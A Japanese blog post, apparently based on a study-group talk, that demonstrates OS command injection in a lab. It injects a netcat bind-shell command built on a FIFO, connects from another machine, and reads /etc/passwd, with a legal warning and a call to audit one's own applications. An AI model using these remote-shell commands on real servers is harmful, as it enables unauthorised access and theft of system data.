今回は8月に以下の勉強会で発表してきた「OSコマンドインジェクション」について解説していきます。
OSコマンドインジェクションは自分の管理する環境以外で実施した場合は犯罪になりますので、あらかじめご認識ください。
検証環境等について
検証環境構築や簡単な検証は過去に記事にしていますので、そちらを確認して頂ければ幸いです。
今回は実際にOSコマンドインジェクションを使用した攻撃方法の例として、コンソールで操作できるのをお見せします。
「cat /etc/passwd」や「sleep」のように動きました!と見せるだけでも良いのですが、具体的にこんなこともできるということを見せることで、脆弱性があった際の怖さがさらに理解できるのではないかと考えています
実際の検証
まずは使用するコマンド(ツール)を紹介します。
何を使用するかと言いますと「nc(Netcat)」コマンドです。
参考:https://ja.wikipedia.org/wiki/Netcat
このコマンドを使用して確認します。
なお、ncコマンドにはオプションとして「-e」オプションというバックドア専用にあるんじゃないかと思われるオプションがあるのですが、通常このオプションは有効になっていません。
※コンパイルする際に指定しなければいけないらしい
なので、「-e」オプションは使用しないで実施します。
以下が参考にしたサイトです。
まずはOSコマンドのある環境で以下のコマンドを挿入します。
mkfifo ppp #pppという名前のfifoファイルを作成
すると実行前にはなかった「ppp」というファイルが作成されています。
$ ls index.html nslookup.php test.php #実行前 $ ls index.html nslookup.php ppp test.php #実行後(pppというファイルが作成されている)
そして、次に以下のコマンドを挿入します。
cat ppp | /bin/sh -i 2>&1 | nc -lp 4000 > ppp #eオプションが使えないが、サーバー間通信を活用する。出力、エラーをclien側に出力するためにpppファイルを使う。
これを挿入するとサーバから応答待ちの状態になります。この状態でアクセスするマシンから次のコマンドを入力します。(通常WindowsにはNetcatが入っていないので、別のVMを立ててコマンドの入力を行いました。)
$ nc 192.168.70.135 4000 #別のマシンからOSコマンドの存在するIPの4000番ポートに対してncコマンドで接続
すると以下のようなコンソールになります。
これで脆弱性が存在するサーバに侵入成功です。
試しに「ip addr」と入力してIPアドレスを確認してみると以下のようになっています。
結果が「192.168.70.135」(OSコマンドインジェクションのデモ環境のIP)になっています。
また、以下のように「/etc/passwd」ファイルも表示させることも可能です。
通常他サーバのターミナルでの操作はsshでログインするか、実際にそのサーバに対してログインしたり、リモートデスクトップで接続する等、限定的な条件でしか操作することができないと思います。(少なくともログインは必要)
しかしOSコマンドインジェクションがあればログインをせずとも簡単なコマンド一つで実際にサーバを操作している感じで操作できることが可能です。(こっちはログインしていない。)
接続を切る際も、「Ctrl+c」で簡単に接続を切ることが可能です。
最後に
OSコマンドインジェクションはあまり見ない脆弱性ですが、存在していた際は壊滅的な被害を受けてしまう可能性がある脆弱性です。
そんなに見かけることが多いわけではないですが、一説によると発見しにくい脆弱性であるとの話もあるので、ただ単に発見できていない可能性もあります。
今一度手元のアプリケーションの環境を見直してみると良いかもしれません。
不明点や要望やこういったこともやって欲しいとの要望があれば、お問い合わせページやコメント、ツイッターからでも結構ですので、気軽にご連絡ください。
コメント